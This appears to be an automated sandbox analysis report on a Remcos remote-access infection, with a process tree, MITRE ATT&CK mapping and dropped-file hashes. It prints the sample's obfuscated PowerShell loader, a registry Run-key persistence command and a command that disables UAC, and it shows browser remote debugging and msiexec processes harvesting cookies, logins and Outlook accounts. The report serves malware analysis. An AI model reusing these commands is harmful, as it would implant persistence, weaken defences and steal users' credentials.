$SeggbGreel UdgyUn maIndknta dtR cisSkovsAa.ep ShaiUnbedPatcsKr,meHjorrBudseNo.rs') ;Sanguisuge $Maerker;Sanguisuge (Skovsaven 'Par SCyclTE keaantiRNonlTSiru- IllsUnidlHomoeAfleEC,anpUve For 4');Sanguisuge (Skovsaven ' Hje$ entg S al NedoGalaBPersaCapiL lie: agtl SeeaAvercS,ctKElecEGrderBollE T xR utt=Udkm(NaevTPendeEbdos TratHumm-UnbapAnabaFightPredhOrke Opdr$ orslgryleBespVAntiEPedir ReniG nfNPolygL keS rembO.teEOverTEmbaiBil NExpeGMisaeCicaL Tops RegEUnalrRy.t)') ;Sanguisuge (Skovsaven 'eneb$PejlGekstlTamaoP isbComma ohl Ref:SekoTWamerFrowRMadbeEnnePintrlFerrA.fgidEquisLnmoe ShoR ontSLiss=Eksp$ologgIltelSoluoEmisBGaleaUnd LM.si:Subem InaAGel Ltn,eFN khEiag ASp ns Graa MamNAlcytSkif+slap+Valu%Til.$aetopRet.oIl.iLBespYHvirmVurditab xSlu IKultARe.l. BasCRefrOgel UTry N dyrT') ;$Adias=$Polymixia[$Trrepladsers]}$Retranquilise=310647;$Tredvtedels=29480;Sanguisuge (Skovsaven 'Fast$Om,yg olkLFatiOSmrhb S.ia konlPer,: Unds GliY Netd VilF dgOrebar aighFlerASla efynsN hanG F.y Sau= U.l Fri.GSupeERailtAnap- lovc,ongo Span vert ndE Pa nTrastKrat T ds$RetslEntoeswedVFaste .emRSlidiRetsNddsyGTrims ,obbPengEUdhnTFrugiPin.N shpgSymbEHypel Rens ddaeophir');Sanguisuge (Skovsaven ' Acr$IchtgAlpel TaloMorbbProlaS,lllFin,: ChiDEfphe.mercVenteBaken Milnfor a TyprRhamyMedi A m=Afst Aff [LiggSbu.cy onosNyctt,ntie Be mS an.Mic CReino lumn DefvAlkoe Masr ilt Bj ] U,a:tyr,: DioF NovrBahroTalkmPyelBtranaZoo.sI reepaah6Mnni4Da sSEskatratirMeoaiRawen SpugValg( Inj$ArveS Pshy,perdCochfBl soPre,rStarh PhyaUnieeTillnboudg,upe)');Sanguisuge (Skovsaven 'Fami$ pinGSemil ubyOlycoBWorkaUn ol Vid:invaIQueeN idgTChonEAgg.rK dav CapAH peLalumg hasR .nvN ridspew.EPo.tNStan Rdgr=dis Affi[Di,eSCritYV resp gmtKonnE E iMBaad.Bud,T ragePalsXbullTHy e.ebelEBortNT,inC.illoS ndDSandi L nN nstgdece]Fari: Lep:Intra kaaS roocBibli,hipi S,u.SemigPhytE AskTNo bSSyneT.ultR yri ftaNt ldG Sau(Pant$ tedsy teEgg cParaeGr tNUndenV,ndaskriRluceyD,il)');Sanguisuge (Skovsaven 'Po,y$ Ke GB nilTom O S.gBKil,AFo bl.imi:SnirB eksLsyndU Ovee GonpC,inrS.rviSe vNTramTUn isLupi5surt0Grnt= Fl $ .iliOutwnTeaktnatiESnapr Laev BonA ullMo.vgClatRMedlnVedes AlkE ,tonskam.KartsJerquF atbPropSHopptC,oarfbliI StrNFaneGrabi(Posi$CocrRSkr E,evaTTilgRSkatADiskNJ,baQLin u,eciIMiljl alI rovSHygre unk,S.mb$Sek,TMa rr ,erEgullDImpoV llyTBelaeRun.dInsoESoapl T,nsAkti)');Sanguisuge $Blueprints50;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Hybridt% -windowstyle 1 $Absi=(gp -Path 'HKCU:\Software\Mellemdistancevaaben\').Slagsangene179;%Hybridt% ($Absi)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2248
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Hybridt% -windowstyle 1 $Absi=(gp -Path 'HKCU:\Software\Mellemdistancevaaben\').Slagsangene179;%Hybridt% ($Absi)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:2220
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3828
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:760
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5088
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffada1dcc40,0x7ffada1dcc4c,0x7ffada1dcc58
      4⤵
      PID:2204
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2232,i,9189582139816336331,10346502133238473253,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2224 /prefetch:2
      4⤵
      PID:5028
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1920,i,9189582139816336331,10346502133238473253,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2280 /prefetch:3
      4⤵
      PID:3264
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2004,i,9189582139816336331,10346502133238473253,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2416 /prefetch:8
      4⤵
      PID:2944
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3128,i,9189582139816336331,10346502133238473253,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3148 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1356
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3156,i,9189582139816336331,10346502133238473253,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3192 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3288
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4532,i,9189582139816336331,10346502133238473253,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4592 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3516
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zrvjolpdahotwje"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3424
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\jtjuodafopgggpaatzb"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:2096
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mnompwtycxylidoedjolqt"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4920
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffada0946f8,0x7ffada094708,0x7ffada094718
      4⤵
      PID:4784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2016,8527486292333484549,13224519071078410130,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2064 /prefetch:2
      4⤵
      PID:1500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2016,8527486292333484549,13224519071078410130,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 /prefetch:3
      4⤵
      PID:3456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2016,8527486292333484549,13224519071078410130,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2880 /prefetch:8
      4⤵
      PID:4620
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2016,8527486292333484549,13224519071078410130,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:64
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2016,8527486292333484549,13224519071078410130,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2684
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2016,8527486292333484549,13224519071078410130,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5524 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2016,8527486292333484549,13224519071078410130,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3768 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5052

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:1448

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3588

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
9cd893806915419ff68bee433a9401d3

SHA1
68fa6477890b0552dc6ac8091e13bc6cc1ea2921

SHA256
261ec040b09f0b988ca9c862a78fd410ad7722158d6efa2e4210a62bfc1a7c8a

SHA512
226d510aaec5bc9817c71da728e2a7d31e03cc257bd0e666e4247a720879da16e0fea48c0076001b9ed3301d29af7de0304df7c7e557ca5584971b1bde4a0810

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2d74f3420d97c3324b6032942f3a9fa7

SHA1
95af9f165ffc370c5d654a39d959a8c4231122b9

SHA256
8937b96201864340f7fae727ff0339d0da2ad23c822774ff8ff25afa2ae4da3d

SHA512
3c3d2ae3b2581ff32cfee2aedca706e4eaa111a1f9baeb9f022762f7ef2dfb6734938c39eb17974873ad01a4760889e81a7b45d7ed404eb5830f73eb23737f1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
40B

MD5
dc15a71e7f66e77a918073005e2e292b

SHA1
0c2e082bdc00f01972fdceef96774d301ce62ea5

SHA256
c624a2eefc72301a6acc4ddaf407ac7992fad2641c1a201bdead83b7b4b9635a

SHA512
80bbf04ec874a2fd36bb86e7cd854f946db12f3fbc89d72107f3cf6e86564a8aa0a77a65e6a566bd434b22a944e60ec27e99639889d0aa6f232014afd8741e9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
b60e7ece55a59001f9b5e014f3ca556b

SHA1
e0942b582ec6c77cf47c1310fb28f6172a5c8c86

SHA256
1ec9d7a424239dd314243bddbd975a55238b299b8bec0d5780908d8da2c14c0c

SHA512
5df9e44e17136a2f858a2a2d711e5dc86de661ddddc660e446160077c89d0d1e3ec93c9f7cf5bd1ba4c1af3d52d6006ae9bb0845ba0a837dd14873fe78ef605c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
3c679f60dda50c785e21fc530cb35a2f

SHA1
2150774e2b90aac32f59eb000fdc0956733500d7

SHA256
8fa22af9058243f2f829c382a6336d1978227ed530928148db1b986aa5b50635

SHA512
c9affe03934eb5e06ba21881a2d4437f11f893f42160fc603c52ce664c3e8edd5b1beca370cfbf2b27e9f22671357c28b0a4c19da487dcec26a015ae0da96cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
e3319a9cfb476a4c37d3d15a91aeb095

SHA1
e27e2cbc711c81e7ab097eca35a4c2609f2f989d

SHA256
5f3145012621486c8b752b966cce8207ff02406e144ff682cffea337dc7ccee4

SHA512
02620de8bb223d0b884a02d7557de23014e2b9e2b537121ab26931bbf518d52d9b5ca33c4f85fd42205fdf3c66f79d4b7a562cc1471cc768b5b4758c896a6bbd

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\throttle_store.dat

Filesize
20B

MD5
9e4e94633b73f4a7680240a0ffd6cd2c

SHA1
e68e02453ce22736169a56fdb59043d33668368f

SHA256
41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304

SHA512
193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index-dir\the-real-index

Filesize
48B

MD5
bc02355ac9c4f65237d6fe74582d5745

SHA1
fff4ab5999a0375a1c615b376b244f57288e5499

SHA256
63ba35b5e4da35d95f3bc5ada0907f3cf40adbf424330bf367996aaad0784ba1

SHA512
d9434978a73090af4aa9127ee5bc053e0cce49a2f585e7eef38d3200cd8e214ccbb944487273da5bddf367d6dd3773f78813980278522e5ff361ecf69f773f7a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Extension State\LOG

Filesize
263B

MD5
0421d12ed241a1dd05cf9133f71ec531

SHA1
8c2ff7bdf447e396bed47e2b7fcb8619f71b02af

SHA256
0408a9cb0ad6853b08693e3eca475f809dbb0f22fb4fe49c37901414b1fcf535

SHA512
234a7a9b4acb6c4e63f3525a25ee58594e2048799664b18724f6a2e5159d20620fdead7fd31b5b703ee8acdf72ba567c1c143ca8add9559c7c391a449cc52e98

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Favicons

Filesize
20KB

MD5
b40e1be3d7543b6678720c3aeaf3dec3

SHA1
7758593d371b07423ba7cb84f99ebe3416624f56

SHA256
2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4

SHA512
fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\GPUCache\index

Filesize
256KB

MD5
5c17402fff4ce7f03adcc9fb77aaad95

SHA1
eb42bfb73c33e413454ba425122d56d5ff62ed69

SHA256
43e65ce4356391f892b230792a7fd1663ee03a7908708ea0dda11f8e18037ea8

SHA512
33aba7767d463885a474a6317bc1e79a4fa6aff798c2e72a1bbf59ff5d803a883106484fbacd388cfef1cf7ddb2ba0a35ee444cca5f1e3ccb6a888f47abf14fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History

Filesize
192KB

MD5
d30bfa66491904286f1907f46212dd72

SHA1
9f56e96a6da2294512897ea2ea76953a70012564

SHA256
25bee9c6613b6a2190272775a33471a3280bd9246c386b72d872dc6d6dd90907

SHA512
44115f5aaf16bd3c8767bfb5610eba1986369f2e91d887d20a9631807c58843434519a12c9fd23af38c6adfed4dbf8122258279109968b37174a001320839237

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\LOG

Filesize
277B

MD5
6167cf28008f58d9fb33e3166ec485ba

SHA1
58c6140cf0a79d3430f281c6693ef6869676c285

SHA256
7789287cf116fe6a6ea99ca75c870bf48fd1329401b339c49a2a4a5170ebaef1

SHA512
ecf3b316dbf71d04fd53070965d629b1c3c82b3519c8e231f2c7eaeccd7ccdc900e38b492763860b6c3c8ad24657b97ce3d75361395ebe6c9161f104c08e83b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Login Data

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Microsoft Edge.lnk

Filesize
1KB

MD5
707079be4eb19a2a9a1a0fbdc26c8453

SHA1
bfa79bd68b6904b5f9541041029d7ab7b0fd4c55

SHA256
602a5ad75186d8e37d5636eb56a15f45f6cfffa68275bb33701e13af901cad3a

SHA512
a3d4b7acd09c8c3cf8a8b5c8dd928f66e73971478c59c1d21fee08352d167c60caf55bc3eda3d879433632ea1b4bb22dd2ad13843502c487704a3083a94b2d40

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\Cookies

Filesize
20KB

MD5
61b55095ea0379f6e61654f21236a584

SHA1
ccf370812eb4cee829ea05096a38308c87392ec9

SHA256
0aea44596ec08932cd605f4637ffe7b8019b7d2e5edf6f2d171d68a6afbd9fdb

SHA512
56db37d8beed543da193372257ff588b44a09d2ec59ee115a069c7beb6327f03d59badf5e86b7d66d62a2875d2372802313a36e8941e659186b99718b27b3764

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
38e939f76c2e849ff7484d040024526b

SHA1
40dfc14e3978cb7cf6ba629e62c797e3f1f2e034

SHA256
984cf127f18db1693d9a8a84db9fa6d6a422288bbedfb7adb9ce13ef55b69dd5

SHA512
573a6c3fab4bba90c7c599df96703834964e4736b1f675781897add84ec420b47c92c4fbf8c3955101642a76cceea33922ed2a8cf360f9d427f74f5bd99e34a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
1KB

MD5
a862864d10313a857f7f781ce1257f8d

SHA1
4ff234d2f84c5cc7f55ab4f88dfc4674a243351d

SHA256
3e2648a231880f6dbd989f6f17cb739d833ba2563ce85869873d29e568cb8ba2

SHA512
f7c8e1df09230c9d6cbbd8fe007bf458b0e13bbe8d7f7785a8f006bbd00aacdf253640e15be34ec2e35b2a7a649b9e440db0c70e2871db9cde7759974fb7235d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
24KB

MD5
28f95c9b6768d32d945eb36a1fd7a07c

SHA1
53ac50531aadd81c59f44008fd38159485ba54b1

SHA256
f68df18736602a87cdee17c43192a220e0ec47df8f7951a13763ad0e080d8a8e

SHA512
1a8a757825e77564b86cf8d12484142b51cd24db8d19f999094bafb7412bb979a6a406e587bf235b045d9a4947bb191f48474513b3341473bd55acd2c0429387

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
15KB

MD5
3500c39cafef8c42e21c0eed0068acf0

SHA1
4acab10148c3cd8644497fb1e2671609db926832

SHA256
9b3cd3d94f1d2f873464301319e4dca3d34f7c549b3cd9ab868470202d1574d5

SHA512
a7b49f1755b5161a693d7ff4413469b684043ea236d225698838713bdb20b0fe8fc557c2500e1b7d0fde02bf945d356a636a2c0fff7097acf50246abec32f092

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\000003.log

Filesize
241B

MD5
9082ba76dad3cf4f527b8bb631ef4bb2

SHA1
4ab9c4a48c186b029d5f8ad4c3f53985499c21b0

SHA256
bff851dedf8fc3ce1f59e7bcd3a39f9e23944bc7e85592a94131e20fd9902ddd

SHA512
621e39d497dece3f3ddf280e23d4d42e4be8518e723ecb82b48f8d315fc8a0b780abe6c7051c512d7959a1f1def3b10b5ed229d1a296443a584de6329275eb40

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\LOG

Filesize
279B

MD5
85c7a317be8f7c5de32cb4deddbb1415

SHA1
3c34bf2741f18fea93c0b6e33622ebee1b59018e

SHA256
a38d7e190740055855efe2de541e34d3a65866c7c1924acf8c78667a3f189ae9

SHA512
4c2fc59f35c2d3511564bccc4154e6eb40c33e6567b71a29f19a3b67242c6fa05afdecce28d888ec7a600e27d988e0d02894e68af9fea40b45d05cd983639c23

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\000003.log

Filesize
80B

MD5
69449520fd9c139c534e2970342c6bd8

SHA1
230fe369a09def748f8cc23ad70fd19ed8d1b885

SHA256
